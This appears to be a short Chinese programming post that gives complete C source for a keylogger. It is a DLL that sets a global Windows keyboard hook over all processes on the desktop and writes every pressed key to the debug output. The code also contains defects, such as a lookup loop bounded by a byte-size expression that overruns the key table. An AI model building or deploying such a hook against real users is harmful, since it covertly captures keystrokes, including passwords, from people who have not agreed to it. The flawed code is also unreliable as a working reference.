Hook技术获取键盘记录
MSDN上有说明 要HOOK同一桌面下的所有进程 则HOOK必须是在一个动态库中
hook.h
__declspec(dllexport) void setHook(); //导出声明 __declspec(dllexport) void unHook(); /* LIBRARY HOOK EXPORTS setHook @1 */
hook.c
#include "hook.h"
#include <Windows.h>
#include <stdio.h>
#include "keyInfo.h"
HHOOK g_hHook=0;
extern const KeyName g_KeyNames[];
char* findKetName(int VK)
{
static char buf[128]={0};
int i=0;
strcpy(buf," ");
for(i=0;i<sizeof(g_KeyNames);i++)
{
if(i == VK)
{
strcat(strcpy(buf,g_KeyNames[i].name),"\r\n");
}
}
return buf;
}
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if(nCode == HC_ACTION)
{
if( !(lParam & 0x80000000))//按键按下 要加判断否则键盘消息会回响应两次(键盘按下和弹起)
{
OutputDebugString(findKetName(wParam));
}
}
return CallNextHookEx(g_hHook,nCode,wParam,lParam);
}
void setHook()
{
if(!g_hHook)
{
g_hHook = SetWindowsHookEx(WH_KEYBOARD,HookProc,GetModuleHandle("HOOK"),0);
}
}
void unHook()
{
if ( g_hHook )
{
UnhookWindowsHookEx(g_hHook);
}
}
